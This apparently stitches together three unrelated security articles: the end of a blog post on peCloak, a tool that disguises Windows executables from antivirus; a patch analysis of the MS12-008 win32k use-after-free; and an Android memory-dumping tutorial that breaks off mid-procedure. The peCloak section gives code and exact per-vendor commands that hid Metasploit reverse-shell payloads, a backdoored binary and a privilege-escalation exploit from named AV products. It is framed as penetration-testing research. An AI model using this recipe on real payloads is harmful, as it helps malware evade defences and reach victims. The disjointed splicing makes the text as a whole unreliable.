---|---  
The calls to add\_fill\_instructions\(\) in both the heuristic and decoder
creation functions simply pseudo-randomly select from a dictionary of the
aforementioned benign instructions \(inc/dec, push/pop, etc\).

#### Carving out a code cave

Ultimately what the script does is encode the designated portions of the PE file and insert a code cave containing the heuristic bypass and corresponding decoder function. The location of this code cave is determined at script run time by first checking each PE section for a minimum number of consecutive null bytes \(currently hard-coded at 1000\). If found, it will make that section executable and insert the code cave at that location. Otherwise, the script will create a new section \(named “.NewSection”\) using the SectionDoubleP code. You can override the script’s attempt to insert the code cave in an existing section \(if it appears to be corrupting the file\) with the -a | –add option.
#### Jumping to the code cave

In order to jump to the code cave, the execution flow of the PE file has to be
modified at ModuleEntryPoint. This process is two-fold:

  1. Create the jump instruction using the address of the previously created code cave
  2. Preserve the overwritten instructions at ModuleEntryPoint so they can be replayed later

The latter function is relatively simple in that I leverage the pydasm library
to read the entry instructions and obtain the corresponding asm.

12345678910111213 | def preserve\_entry\_instructions\(pe, ep, ep\_ava, offset\_end\): offset=0 original\_instructions = pe.get\_memory\_mapped\_image\(\)\[ep:ep+offset\_end+30\] print "\[\*\] Preserving the following entry instructions \(at entry address %s\):" % hex\(ep\_ava\) while offset < offset\_end: i = pydasm.get\_instruction\(original\_instructions\[offset:\], pydasm.MODE\_32\) asm = pydasm.get\_instruction\_string\(i, pydasm.FORMAT\_INTEL, ep\_ava+offset\) print "\t\[+\] " + asm offset += i.length \# re-get instructions with confirmed offset to avoid partial instructions original\_instructions = pe.get\_memory\_mapped\_image\(\)\[ep:ep+offset\] return original\_instructions  
---|---  
One important aspect of this function is to ensure that it preserves the
instructions in their entirety. For example, assume the original entry
instructions are

12 | 6A 60 PUSH 6068 28DF4600 PUSH pe.0046DF28  
---|---  
If your code cave jump overwrite is 5 bytes, you still want to ensure you’re
preserving all 7 of the first two instructions or you’ll end up with corrupted
code.

#### Restoring execution flow

At this point, the module entry contains the jump instruction to the code
cave, which will start with the heuristic bypass function and then proceed to
decode the encoded section\(s\) of the pe file. Once that’s done, execution
flow has to be redirected back to its original location so the executable can
function as intended. This is a two step operation:

  1. Replay the overwritten original instructions
  2. Jump back to the module entry point \(offset by the added code cave jump\)

Replaying the original instructions is complicated by the fact that they may
contain relative jump/call instructions. The location of these jumps/calls
need to be re-calculated from the current location in the code cave.

I’ve addressed this by recalculating relative jumps based on the original
destination and the current address within the code cave.

123456789101112131415 | ... current\_address = int\(code\_cave\_address, 16\) + heuristic\_decoder\_offset + prior\_offset + added\_bytes \# check opcode to see if it's is a relative conditional or unconditional jump if opcode in conditional\_jump\_opcodes: new\_jmp\_loc = update\_jump\_location\(asm, current\_address, 6\) new\_instruct\_bytes = conditional\_jump\_opcodes\[opcode\] + struct.pack\("l", new\_jmp\_loc\) \# replace short jump with long jump and update locationelif opcode in unconditional\_jump\_opcodes: new\_jmp\_loc = update\_jump\_location\(asm, current\_address, 5\) new\_instruct\_bytes = unconditional\_jump\_opcodes\[opcode\] + struct.pack\("l", new\_jmp\_loc\) \# replace short jump with long jump and update locatioelse: new\_instruct\_bytes = instruct\_bytes ...  
---|---  
The conditional\_jump\_opcodes and unconditional\_jump\_opcodes variables are
just dictionaries of the respective opcodes. The referenced
update\_jump\_location function is really simple and looks as follows:

12345678 | def update\_jump\_location\(asm, current\_address, instruction\_offset\): jmp\_abs\_destination = int\(asm.split\(" "\)\[1\], 16\) \# get the intended destination if jmp\_abs\_destination < current\_address: new\_jmp\_loc = \(current\_address - jmp\_abs\_destination + instruction\_offset \) \* -1 \# backwards jump else: new\_jmp\_loc = current\_address - jmp\_abs\_destination + instruction\_offset \# forwards jump return new\_jmp\_loc  
---|---  
#### Other features

As with anything I do, there’s usually a fair amount of scope creep and so I
built a few extra features into the tool to help analyze the target file. For
example, during testing, sometimes I wanted to be able to view a particular
section of the PE file to determine what might be triggering signature based
detection so I built in a simple hex-based viewer

#### <img src='img/Temp2_10532.png' width='453' height='263' alt='pecloak2' />

#### Writing the Modified PE File

One last note is that in order to get expected results from my modification
function I had to modify the pefile library slightly. Specifically, I ran into
the issue that when pefile saves a modified executable, it overlays the
section structure data on top of the modified bytes. In other words, if you
modify the first 50 bytes of the .rdata section of a given file, that
modification will be replaced by the original section header. To prevent this
behavior, I added an additional parameter \(SizeofHeaders\) to the pefile
write\(\) function. This allows me to preserve the pe header but replace
everything after should I choose:

<img src='img/Temp2_10531.png' width='411' height='330' alt='pecloak3' />

Similarly, strings are also overwritten so I made some additional
modifications to the write\(\) function to prevent this as well:

<img src='img/Temp2_10529.png' width='518' height='61' alt='pecloak4' />

Depending on the level of control you require of your modification, additional
changes may be necessary, though these two modifications suited by simple
testing just fine.

Here’s a look at the output \(run with default settings\):

<img src='img/Temp2_10539.png' width='481' height='404' alt='pecloak25' />

### Running the Experiment \(peCloak in action\)

Now that I had the tool, it was time to see how effective it was. Using the
previously identified list of AV vendors, I downloaded their respective free
AV products and got to testing. Again, my goal was to evade AV detection for
each of the four test executables without breaking the exploit’s
functionality.

Here is a summary of the results:

<img src='img/Temp2_10533.png' width='397' height='402' alt='pecloak5' />

As you can see, a green check mark indicates successful evasion, a red X
indicates peCloak could not successfully bypass AV evasion, and N/A indicates
the AV product did not even detect the original uncloaked version so
additional encoding was unnecessary. It should be noted that several products
did not detect any of the uncloaked malicious executables \(McAfee, Spybot,
and TrendMicro\) despite updated virus definitions. There were no apparent
configuration problems or errors indicated by the product so the reason for
detection failure is unknown. Regardless, these products were disqualified
from further testing as a result. That left a total of 12 AV products that
were tested.

The summary is pretty telling … I was able to successfully hide all four
executables from detection in 9 of the 12 products \(in some cases, evasion
was unnecessary for one or two of the files as the original, unencoded files
were not even detected. The only products that provided at least partial
protection were Avast ,Bitdefender, and BullGuard. This is largely because any
bytes contained outside of the PE file sections \(.text, .data, .rdata, .rsrc,
etc\) are not modified by my peCloak script. For example, in at least one of
these AV products, the signature detection was the result of bytes contained
within the PE Header, which my script does not attempt to modify.

A quick glance at the table, will demonstrate that despite a few of the
products detecting some of the executables, the best method of evading AV
detection is by cloaking a backdoored executable \(as I did with
strings.exe\). In fact, as you’ll see below, one of the products actually
automatically whitelisted my backdoored executable without any action on my
part\!

#### A Closer Look

In case you want to replicate these findings with peCloak, or your own tool,
what follows are the exact options I used to cloak each file from the
respective AV product. A couple of things to note:

First, I did not include all of the screenshot evidence of each scan result
for each file as I thought it would make this post way too long, though I did
provide a sampling to illustrate some of the results.

Second, most of the byte range values I used to encode the files were not
optimized. For example, if encoding bytes 0 through 500 of the .rdata section
resulted in successful AV detection, as long as the executable still
functioned as intended, I didn’t test it further to see exactly which bytes
were responsible for detection. I’ll leave that exercise up to you should you
so desire.

Third, when I refer to peCloak’s “default” settings, I’m referring to a
heuristic bypass level of 3 \(-H 3\) and encoding of only the .text section.
This is what happens if you simply run peCloak.py with no additional options.

Also, as reminder, the four files that were tested for evasion were:

  * av\_test\_msfmet\_rev\_tcp.exe – Metasploit Meterpreter reverse\_tcp executable
  * av\_test\_msfshell\_rev\_tcp.exe – Metasploit reverse tcp shell executable
  * strings\_evil.exe – strings.exe backdoored with Metasploit reverse\_tcp exploit
  * vdmallowed.exe – local Windows privilege escalation exploit

The first three were constructed directly from Metasploit and the third was
compiled using the source code at the link I provided at the beginning of this
post. No efforts to encode these files was made prior to testing them with
peCloak.

#####

##### Avast Free AntiVirus \(Evasion: 1/3, 1 N/A\)

This product did not detect the unencoded version of vdmallowed.exe file but
did detect the other three as malicious.

I successfully evaded strings\_evil.exe by encoding a portion of the rdata
section:

peCloak.py -e .text,.rdata:50:500 strings\_evil.exe

<img src='img/Temp2_10534.png' width='356' height='174' alt='pecloak21' />

I was not able to evade either Metasploit executable, even with all PE
sections encoded \(and the file rendered inoperable\). Additional testing
indicated detection resulted from the contents of the file header \(which is
outside of the scope of my simple peCloak script\), so no additional evasion
was attempted.

#####

##### MSFT Security Essentials \(Evasion: 4/4\)

This product successfully detected all four uncloaked test files.

<img src='img/Temp2_10528.png' width='214' height='210' alt='pecloak8' />

Three of the files \(av\_test\_msfmet\_rev\_tcp.exe,
av\_test\_msfshell\_rev\_tcp.exe, and strings.exe\) successfully evaded
detection with default peCloak settings \(peCloak.py \[executable name\]\).

I was able to successfully evade detection of vdmallowed.exe by encoding an
additional portion of the data section: peCloak.py -e .text,.data:50:5000
vdmallowed.exe

##### Avira \(Evasion: 4/4\)

This product successfully detected all four uncloaked test files.

Three of the files \(av\_test\_msfmet\_rev\_tcp.exe,
av\_test\_msfshell\_rev\_tcp.exe, and strings.exe\) successfully evaded
detection with default peCloak settings.

I was able to successfully evade detection of vdmallowed.exe by encoding an
additional portion of the data section: peCloak.py -e .text,.data:50:5000
vdmallowed.exe

#####

##### AVG Free 2015 \(Evasion: 4/4\)

This product successfully detected all four uncloaked test files. peCloak
successfully evaded detection for all four files using the default settings,
though evasion was inconsistent. In other words, if an executable was cloaked
twice using the exact same peCloak options, one of those cloaked executables
would evade detection and the other would not. Additional testing showed that
the detection did not appear to come from any of the sections of the PE file
\(leaving the header\) though this makes it even stranger as to why detection
would be inconsistent from file to file. This was the only AV product to
exhibit this behavior. In addition, once a cloaked file was created that
successfully evaded AV detection, testing showed that it would always evade
detection, meaning the test files could in fact be reliably cloaked.

<img src='img/Temp2_10542.png' width='378' height='227' alt='pecloak7' />

Successful evasion of one of the Metasploit payloads

#####

##### Symantec SEP \(Evasion: 3/3, 1 N/A\)

As stated previously, testing of SEP was the only AV product tested on a Mac
client \(simply because I already had it installed\). This product did not
detect the pre-cloaked strings\_evil.exe so additional evasion was not
necessary. The remaining three pre-cloaked test files were detected.

<img src='img/Temp2_10525.png' width='358' height='129' alt='pecloak6' />

I successfully evaded detection for both of the Metasploit executable files
using default settings.

I successfully evaded detection of vdmallowed.exe by encoding a portion of the
data section: f:\peCloak.py -e .text,.data:50:200 vdmallowed.exe

#####

##### McAfee AntiVirus Plus \(Disqualified\)

This product did not detect any of the uncloaked malicious test executables
despite having up-to-date signatures and exhibiting no errors before or after
the scan. This may not be indicative of its normal behavior and as such it was
disqualified from further testing.

<img src='img/Temp2_10540.png' width='345' height='233' alt='pecloak17' />

#####

##### ESET NOD32 Antivirus \(Evasion: 3/3, 1 N/A\)

This product did not detect the unencoded version of vdmallowed.exe file but
did detect the other three as malicious.

<img src='img/Temp2_10536.png' width='331' height='106' alt='pecloak11' />

I successfully evaded detection for strings\_evil.exe using default settings.
I successfully evaded detection for both av\_test\_msfmet\_rev\_tcp.exe and
av\_test\_msfshell\_rev\_tcp.exe by encoding a portion of the .rdata section
on each:

peCloak.py -e .text,.data:17000:1500,.rdata:50:500
av\_test\_msfmet\_rev\_tcp.exe

peCloak.py -e .text,.data:16000:50,.rdata:50:500
av\_test\_msfshell\_rev\_tcp.exe

<img src='img/Temp2_10535.png' width='398' height='98' alt='pecloak13' />

Successful evasion of one of the Metasploit payloads

#####

##### Kaspersky Anti-Virus 2015 \(Evasion: 4/4\)

This product successfully detected all four uncloaked test files.

I successfully evaded detection for strings\_evil.exe and vdmallowed.exe using
default settings.

<img src='img/Temp2_10544.png' width='336' height='60' alt='pecloak14' />

I successfully evaded detection for both of the Metasploit executable files by
encoding a portion of the .data section on each:

peCloak.py -e .text,.data:500:10000 av\_test\_msfmet\_rev\_tcp.exe

peCloak.py -e .text,.data:500:10000 av\_test\_msfshell\_rev\_tcp.exe

#####

##### Comodo Free Antivirus \(Evasion: 3/3, 1 N/A\)

This product did not detect the unencoded version of vdmallowed.exe file but
did detect the other three as malicious.

<img src='img/Temp2_10547.png' width='452' height='134' alt='pecloak15' />

All three of the remaining files were successfully cloaked using the default
peCloak settings.

<img src='img/Temp2_10541.png' width='467' height='70' alt='pecloak16' />

Successful evasion of one of the Metasploit payloads

#####

##### Spybot 2.4 Free Edition \(Disqualified\)

Similar to McAfee, this product did not detect any of the uncloaked malicious
test executables despite having up-to-date signatures and exhibiting no errors
before or after the scan. Even worse, it actually automatically whitelisted
strings\_evil.exe\! This product was disqualified from further testing.

<img src='img/Temp2_10526.png' width='450' height='119' alt='pecloak18' />

#####

##### Bitdefender Antivirus Free Edition \(Evasion: 2/4\)

This product successfully detected all four uncloaked test files.

<img src='img/Temp2_10537.png' width='328' height='169' alt='pecloak19' />

Two of the files \(vdmallowed.exe and strings.exe\) successfully evaded
detection with default peCloak settings.

I was not able to evade either Metasploit executable, even with all PE
sections encoded \(and the file rendered inoperable\) indicating signature
detection was likely resulting from the contents of the file header, so no
additional evasion was attempted.

#####

##### BullGuard Antivirus \(Evasion: 2/4\)

This product successfully detected all four uncloaked test files.

<img src='img/Temp2_10527.png' width='382' height='150' alt='pecloak20' />

Two of the files \(vdmallowed.exe and strings.exe\) successfully evaded
detection with default peCloak settings.

I was not able to evade either Metasploit executable, even with all PE
sections encoded \(and the file rendered inoperable\) indicating signature
detection was likely resulting from the contents of the file header, so no
additional evasion was attempted.

#####

##### Malwarebytes Anti-Malware Free \(Evasion: 2/2, 2 N/A\)

This product did not detect the unencoded versions of the vdmallowed.exe or
strings\_evil.exe files but did detect both Metasploit stand-alone executables
which were successfully cloaked by encoding a portion of the .data section.

peCloak.py -e .text,.data:50:500 av\_test\_msfmet\_rev\_tcp.exe

peCloak.py -e .text,.data:50:500 av\_test\_msfshell\_rev\_tcp.exe

#####

##### Panda Antivirus Pro \(Evasion: 3/3, 1 N/A\)

This product did not detect the unencoded version of strings\_evil.exe file
but did detect the other three as malicious. I successfully evaded detection
for vdmallowed.exe using default settings. Both Metasploit stand-alone
executables were successfully cloaked by encoding a portion of the .data
section.

peCloak.py -e .text,.data:50:500 av\_test\_msfmet\_rev\_tcp.exe

peCloak.py -e .text,.data:50:500 av\_test\_msfshell\_rev\_tcp.exe

<img src='img/Temp2_10530.png' width='443' height='80' alt='pecloak22' />

#####

##### Trend Micro Antivirus + Security \(Disqualified\)

This product did not detect any of the uncloaked malicious test executables
despite having up-to-date signatures and exhibiting no errors before or after
the scan. This may not be indicative of its normal behavior and as such it was
disqualified from further testing.

<img src='img/Temp2_10543.png' width='250' height='184' alt='pecloak23' />
<img src='img/Temp2_10538.png' width='246' height='208' alt='pecloak24' />

###

### Conclusion

What does this all mean? Well probably nothing you didn’t already know — AV
detection is flawed. At the same time, so many organizations seem to put a lot
of stock in the use of AV and while I wouldn’t advocate throwing it away
entirely, it certainly shouldn’t be thought of as an absolute control.

Also, as we continue to hear about all of these “advanced” attacks that used
“sophisticated” malware that went undetected, you have to wonder how advanced
were they really? … especially if one can easily hide a known malicious binary
so easily?

At the very least, I think I supported my hypothesis and this little
experiment has demonstrated that if you’re faced with needing to bypass AV
detection for a penetration test, developing your own method may not be that
difficult after all.

Until next time,

Mike

Follow @securitysift

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# MS12-008 : win32k.sys Keyboard Layout Use After Free vulnerability « Exploit
Shop

**Created:**| _3/15/2012 3:12:50 PM_  
---|---  
**Updated:**| _3/15/2012 2:13:25 PM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  

# MS12-008 : win32k.sys Keyboard Layout Use After Free vulnerability

**Posted:** 2012/02/27 | **Author:** lifeasageek | **Filed under:** Uncategorized |**2** Comments »
MS12-008 : win32k.sys Keyboard Layout Use After Free vulnerability

Related CVE : CVE-2012-0154  
Before Patch Binary : win32k.sys 6.1.7600.16920 \(win7\_gdr.111123-1510\)  
After Patch Binary : win32k.sys 6.1.7600.16948 \(win7\_gdr.120113-1505\)

If you remember MS10-073 \(stuxnet\), then MS12-008 may sound familiar. Refer
these articles. The analysis by Vupen, and a public exploit.

Once I diffed win32k.sys with DarunGrim, I simply searched for the patched
functions which include the word “keyboard”. This led me to the function,
xxxLoadKeyboardLayoutEx\(\), and the differences on the basic block looks
interesting. For your better understanding, don’t forget this: we are going
after use-after-free bug.

`.text:BF815284 push eax ; Tag  
.text:BF815285 push dword ptr [ebx+0Ch] ; P  
.text:BF815288 call ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)  
.text:BF81528E push ebx  
.text:BF81528F call _HMMarkObjectDestroy@4 ; HMMarkObjectDestroy(x)  
.text:BF815294 push ebx  
.text:BF815295 call _HMUnlockObject@4 ; HMUnlockObject(x)`

This is before the patch.

`.text:BF815293 push edi ; Address  
.text:BF815294 call _DestroyKF@4 ; DestroyKF(x)`

This is after the patch. As you can see, the destructor routines has been
wrapped up into DestroyKF\(\) in the patch. Let’s see the inside of
DestroyKF\(\) function then.

`.text:BF8E3F59 ; int __stdcall DestroyKF(PVOID Address)  
.text:BF8E3F59 _DestroyKF@4 proc near ; CODE XREF:
xxxLoadKeyboardLayoutEx(x,x,x,x,x,x,x,x,x)+1D6p  
.text:BF8E3F59 ; DestroyKL(x)+37p ...  
.text:BF8E3F59  
.text:BF8E3F59 Address = dword ptr 8  
.text:BF8E3F59  
.text:BF8E3F59 mov edi, edi  
.text:BF8E3F5B push ebp  
.text:BF8E3F5C mov ebp, esp  
.text:BF8E3F5E push esi  
.text:BF8E3F5F mov esi, [ebp+Address]  
.text:BF8E3F62 push esi  
.text:BF8E3F63 call _HMMarkObjectDestroy@4 ; HMMarkObjectDestroy(x)  
.text:BF8E3F68 test eax, eax  
.text:BF8E3F6A jz short loc_BF8E3F83  
.text:BF8E3F6C push esi  
.text:BF8E3F6D call _RemoveKeyboardLayoutFile@4 ; RemoveKeyboardLayoutFile(x)  
.text:BF8E3F72 push 0 ; Tag  
.text:BF8E3F74 push dword ptr [esi+0Ch] ; P  
.text:BF8E3F77 call ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)  
.text:BF8E3F7D push esi ; Address  
.text:BF8E3F7E call _HMFreeObject@4 ; HMFreeObject(x)  
.text:BF8E3F83  
.text:BF8E3F83 loc_BF8E3F83: ; CODE XREF: DestroyKF(x)+11j  
.text:BF8E3F83 pop esi  
.text:BF8E3F84 pop ebp  
.text:BF8E3F85 retn 4  
.text:BF8E3F85 _DestroyKF@4 endp`

Oh yes. Though there’s some changes in the order to invoke the free/destructor
functions, but the most interesting point should be
\_RemoveKeyboardLayoutFile@4\(\): \_RemoveKeyboardLayoutFile@4\(\) wasn’t
invoked in the old version, but the new version invoked.

Let’s see what \_RemoveKeyboardLayoutFile\(\) does.

`.text:BF8E3F8D ; __stdcall RemoveKeyboardLayoutFile(x)  
.text:BF8E3F8D _RemoveKeyboardLayoutFile@4 proc near ; CODE XREF:
DestroyKF(x)+14p  
.text:BF8E3F8D  
.text:BF8E3F8D arg_0 = dword ptr 8  
.text:BF8E3F8D  
.text:BF8E3F8D mov edi, edi  
.text:BF8E3F8F push ebp  
.text:BF8E3F90 mov ebp, esp  
.text:BF8E3F92 mov ecx, [ebp+arg_0]  
.text:BF8E3F95 mov eax, _gpKbdTbl  
.text:BF8E3F9A cmp eax, [ecx+10h]  
.text:BF8E3F9D jnz short loc_BF8E3FA9  
.text:BF8E3F9F mov _gpKbdTbl, offset _KbdTablesFallback  
.text:BF8E3FA9  
.text:BF8E3FA9 loc_BF8E3FA9: ; CODE XREF: RemoveKeyboardLayoutFile(x)+10j  
.text:BF8E3FA9 mov eax, _gpKbdNlsTbl  
.text:BF8E3FAE cmp eax, [ecx+18h]  
.text:BF8E3FB1 jnz short loc_BF8E3FBA  
.text:BF8E3FB3 and _gpKbdNlsTbl, 0  
.text:BF8E3FBA  
.text:BF8E3FBA loc_BF8E3FBA: ; CODE XREF: RemoveKeyboardLayoutFile(x)+24j  
.text:BF8E3FBA mov eax, _gpkfList  
.text:BF8E3FBF cmp ecx, eax  
.text:BF8E3FC1 jnz short loc_BF8E3FCD  
.text:BF8E3FC3 mov eax, [ecx+8]  
.text:BF8E3FC6 mov _gpkfList, eax  
.text:BF8E3FCB jmp short loc_BF8E3FDC  
.text:BF8E3FCD ;
---------------------------------------------------------------------------  
.text:BF8E3FCD  
.text:BF8E3FCD loc_BF8E3FCD: ; CODE XREF: RemoveKeyboardLayoutFile(x)+34j  
.text:BF8E3FCD ; RemoveKeyboardLayoutFile(x)+47j  
.text:BF8E3FCD mov edx, eax  
.text:BF8E3FCF mov eax, [eax+8]  
.text:BF8E3FD2 cmp ecx, eax  
.text:BF8E3FD4 jnz short loc_BF8E3FCD  
.text:BF8E3FD6 mov eax, [eax+8]  
.text:BF8E3FD9 mov [edx+8], eax  
.text:BF8E3FDC  
.text:BF8E3FDC loc_BF8E3FDC: ; CODE XREF: RemoveKeyboardLayoutFile(x)+3Ej  
.text:BF8E3FDC pop ebp  
.text:BF8E3FDD retn 4  
.text:BF8E3FDD _RemoveKeyboardLayoutFile@4 endp`

Given the data structure as an argument, RemoveKeyboardLayoutFile\(\) loops
over the linked list in which the head pointer is stored the global variable
\_gpkfList. While traversing over the linked list,
RemoveKeyboardLayoutFile\(\) tries to find the identical entry with the
argument, then remove it from the linked list. Ok, fair enough. This logic
also conforms with the function name.

Then our question should be “which function initialize \(or update\) this
linked list ? By searching for the cross reference on \_gpkfList, you will
find LoadKeyboardLayoutFile\(\) is updating this data structure. With the
given argument, it first checks whether the given one is already loaded. If
it’s not, then insert into the linked list.

Alright. Now we can see why this is a use-after-free bug. When
xxxLoadKeyboardLayoutEx\(\) is trying to destroy the target data structure, it
forgot to clean up the linked list. Thus, even after the actual buffer is
freed, the linked list still says there’s a target data structure. So, if we
try to access that data structure with the same information, it will use the
buffer pointer, which would be already freed.

The last question is how to reach to the vulnerable point \(destructor
rouintes\). Again, going back to the destructor routine, then you will find it
is reachable when HMAllocObject\(\) fails.

`.text:BF815271 push 44h ; NumberOfBytes  
.text:BF815273 push 0Dh ; char  
.text:BF815275 push 0 ; int  
.text:BF815277 push 0 ; int  
.text:BF815279 call _HMAllocObject@16 ; HMAllocObject(x,x,x,x)  
.text:BF81527E mov esi, eax  
.text:BF815280 test esi, esi  
.text:BF815282 jnz short loc_BF8152B4`

How to make the allocation fail ? Refer Tarjei Mandt’s comment on twitter:
“You can exhaust the user handle table or try to exceed the handle quota limit
\(win32k\!gUserProcessHandleQuota\)”. Note that he’s name is on MS12-008
vulnerability description <img src='img/Temp2_5043.gif' alt=':)' />

I’ve shortly tried this, but it doesn’t work @.@ Cause I don’t want to waste
my time by doing a brute force like approaches, I simply bought a Windows
Internals book \! <img src='img/Temp2_5043.gif' alt=':)' />

Update : Forgot to mention the upcoming patch on another keyboard layout
vulnerability \(still zero-day\!\!\), which is disclosed by the 0day exploit
in wild. The description on this bug is as follows.The keyboard layout file
\(just like .dll file\) can be loaded into the kernel. Interestingly, a
keyboard layout file contains the hard-coded address pointer <img
src='img/Temp2_5043.gif' alt=':)' /> Later, the kernel accesses the user space
address by creating the mapping, but the kernel does not validate the user
address pointer located in the keyboard layout file.This eventually crashes
the system. Yes, this is a place holder for MSxx-xxx.

# How to extract sensitive plaintext data from Android memory Pen Test
Partners

**Created:**| _8/27/2015 11:38:57 AM_  
---|---  
**Updated:**| _8/27/2015 11:38:57 AM_  
**Author:**| __  
**Tags:**| _Forensics Memory forensics_  
  

# How to extract sensitive plaintext data from Android memory

Posted on Wednesday, August 19th, 2015 by David Lodge.

<img src='img/Temp2_4110.png' width='230' height='150' alt='AndroidMem' />

Right, I’ve had enough of ripping IoT stuff apart for the moment. It’s time to
review and share a technique that I’ve used on my favourite mobile operating
system \(Android, duh\!\), but haven’t had much use for as it requires the
right circumstances.

What I’m going to show you is how to directly dump memory from an Android
process.

This is similar to the process I wrote about at the end of my article about
the debug mode on apps, but this is more flexible and works with native apps.

**_NOTE: It sounds cool, right? But you need to be root and need to have an
app with “juicy” stuff in memory and stuff that you can’t get through the
app’s files._**

Needless to say, I found a use.

An app I was testing stored very little real data, had a lock functionality on
it, performed certificate pinning and compared the unlock code over the
Internets, so it was never stored locally. It also didn’t perform any form of
checking to see whether I was root.

I like a challenge.

### The setup

Okay, this requires some work to get your \(rooted\) device ready. You need to
edit the system partition to add the GNU debugger \(gdb\) to it. Fortunately
you don’t need to compile this a pre-compiled version is part of the Android
Native Development Kit \(NDK\).

Grab the Native Development Kit \(NDK\), extract it somewhere and find the
right version of gdbserver for your platform. I’ll be using the ARM version on
my Nexus 4 as it makes sense.

The steps are the same as adding anything to the root partition:

  1. Upload the file
  2. Enter a shell and become root
  3. Remount /system as read/write
  4. Copy file to /system/xbin \(or /system/bin\)
  5. Change permissions to ensure that it is executable
  6. Clean up

[code]

    C:\tools\android-ndk-r10e\prebuilt\android-arm>adb push gdbserver /sdcard
    push: gdbserver/gdbserver -> /sdcard/gdbserver
    1 file pushed. 0 files skipped.
    2668 KB/s (409940 bytes in 0.150s)
    
    C:\tools\android-ndk-r10e\prebuilt\android-arm>adb shell
    shell@mako:/ $ su
    su
    root@mako:/ # mount -o rw,remount /system
    mount -o rw,remount /system
    root@mako:/ # cp /sdcard/gdbserver /system/xbin
    cp /sdcard/gdbserver /system/xbin
    root@mako:/ # chmod 555 /system/xbin
    chmod 555 /system/xbin
    root@mako:/ # mount -o ro,remount /system
    mount -o ro,remount /system
    root@mako:/ # rm /sdcard/gdbserver
    rm /sdcard/gdbserver
    root@mako:/ #
    
[/code]

Now we need a gdb client to talk to the server process. We can’t use the
standard gdb process on most Linux systems as that will not work correctly for
the process in place on the device. So we need to perform a custom compile to
ensure that we have a gdb that will, for example, run on Intel, but understand
ARM.

First, download the gdb source code from gnu.org: \(and yes I do write blog
articles quite late at night, committed, that’s me\).

[code]

    [dave@jotunheim ~]$ wget http://ftp.gnu.org/gnu/gdb/gdb-7.7.tar.bz2
    --2015-08-13 22:47:26--  http://ftp.gnu.org/gnu/gdb/gdb-7.7.tar.bz2
    Resolving ftp.gnu.org (ftp.gnu.org)... 208.118.235.20, 2001:4830:134:3::b
    Connecting to ftp.gnu.org (ftp.gnu.org)|208.118.235.20|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 24846320 (24M) [application/x-bzip2]
    Saving to: ‘gdb-7.7.tar.bz2’
    
    gdb-7.7.tar.bz2     100%[==================>]  23.69M   286KB/s   in 65s    
    
    2015-08-13 22:48:32 (373 KB/s) - ‘gdb-7.7.tar.bz2’ saved [24846320/24846320]
    [dave@jotunheim ~]$ bunzip2 gdb-7.7.tar.bz2 
    [dave@jotunheim ~]$ tar xf gdb-7.7.tar 
    [dave@jotunheim ~]$ cd gdb-7.7/
    
[/code]

Then we can build it normally, by using the --target flag to specify that we
want gdb’s target to be an ARM processor:

[code]

    [dave@jotunheim gdb-7.7]$ ./configure --target=arm-linux-gnueabi
    [dave@jotunheim gdb-7.7]$ make
    
[/code]

And, we should now have a version of gdb in the gdb directory that runs on an
Intel device and will understand an ARM target.

### Examining the target

Now we have gdb running, we can attempt to read from memory. What we’re
interested in \(usually\) is the heap memory – this is memory that’s been
requested on the fly either from the Dalvik virtual machine, or if a native
app, from the kernel.

We can find this information out using the /proc pseudo file system on the
device. As an example, I’m going to dump the memory of the device’s keystore
application. The first step is to find out the process id:

[code]

    root@mako:/ # ps | grep key
    keystore     1     4248   1680  c0624a6c b6f92838 S /system/bin/keystore
    
[/code]

Then we can go to the /proc entry for this process and check the memory map:

[code]

    root@mako:/ # cd /proc/228
    cd /proc/228
    root@mako:/proc/228 # cat maps | tail
    b6fc1000-b6fce000 r-xp 00000000 b3:15 159        /system/bin/linker
    b6fce000-b6fcf000 r--p 0000c000 b3:15 159        /system/bin/linker
    b6fcf000-b6fd0000 rw-p 0000d000 b3:15 159        /system/bin/linker
    b6fd0000-b6fd1000 rw-p 00000000 00:00 0
    b6fd1000-b6fda000 r-xp 00000000 b3:15 317        /system/bin/keystore
    b6fdb000-b6fdc000 r--p 00009000 b3:15 317        /system/bin/keystore
    b6fdc000-b6fdd000 rw-p 0000a000 b3:15 317        /system/bin/keystore
    b7712000-b771f000 rw-p 00000000 00:00 0          [heap]
    bee86000-beea7000 rw-p 00000000 00:00 0          [stack]
    ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
    
[/code]

What we’ll normally find are is the code that makes up the process and its
libraries and then a copy of the important bits of the process:

  * heap – memory assigned by the VM or by the kernel for data storage
  * stack – memory used during function calls etc.

So above we can see that the heap runs from 0xb7712000 – 0xb771f000.

### Reading memory

Right, it’s time to grab memory. This is slightly convoluted, but once you get
used to it, it makes sense. The process is:

  1. Start gdbserver on the process listening on a port on the device
  2. Use adb to forward the port on the device to a local port
  3. Use a third party program to forward the local port to the device where you will be running gdb
  4. Connect via gdb
  5. Dump the memory
  6. Look for stuff
  7. $$$ Profit $four$

### 1\. Start gdbserver

This is the simplest part of the process, once you have gdbserver install we
can just attach it to our process, and specify a TCP port for it to listen on.
I’ve used 1234/tcp below, because:

[code]

    1|root@mako:/proc/228 # gdbserver --attach :1234 228
    Attached; pid = 228
    Listening on port 1234
    
[/code]

Don’t ask me why the PID and connection string are that way around, it makes
no sense to me either.

We are now listening to the network on port 1234, but as iptables gets in the
way, we need to perform the following.

### 2\. Use adb to forward the port

This will allow us to the use adb and our USB connection to the device to
bridge between a network port on the host and the device:

C:\Users\dave>adb forward tcp:1234 tcp:1234

This will now allow us to talk to the device on port 1234/tcp by connecting to
1234/tcp on the host device. There’s one problem:

[code]

    C:\Users\dave>netstat -an | grep 1234
      TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING
    
[/code]

As you can see it’s only listening on localhost:1234, which means if our
version of gdb is running on another host, or a VM then we need to:

### 3\. Use a third party program to forward the port

This step can be skipped if you’re running gdb and adb on the same host.

I use a really old program called “Port Forwarding for Windows” to forward
from my native OS to the virtual machine I run gdb on:

<img src='img/Temp2_4109.png' alt='AndroidMem1' />

Using 1234/tcp for simplicity. If this does not work as expected, check your
firewalls as they will often break stuff like this.

Now all this is out of the way we should now be able to connect with gdb.

### 4\. Connect with gdb

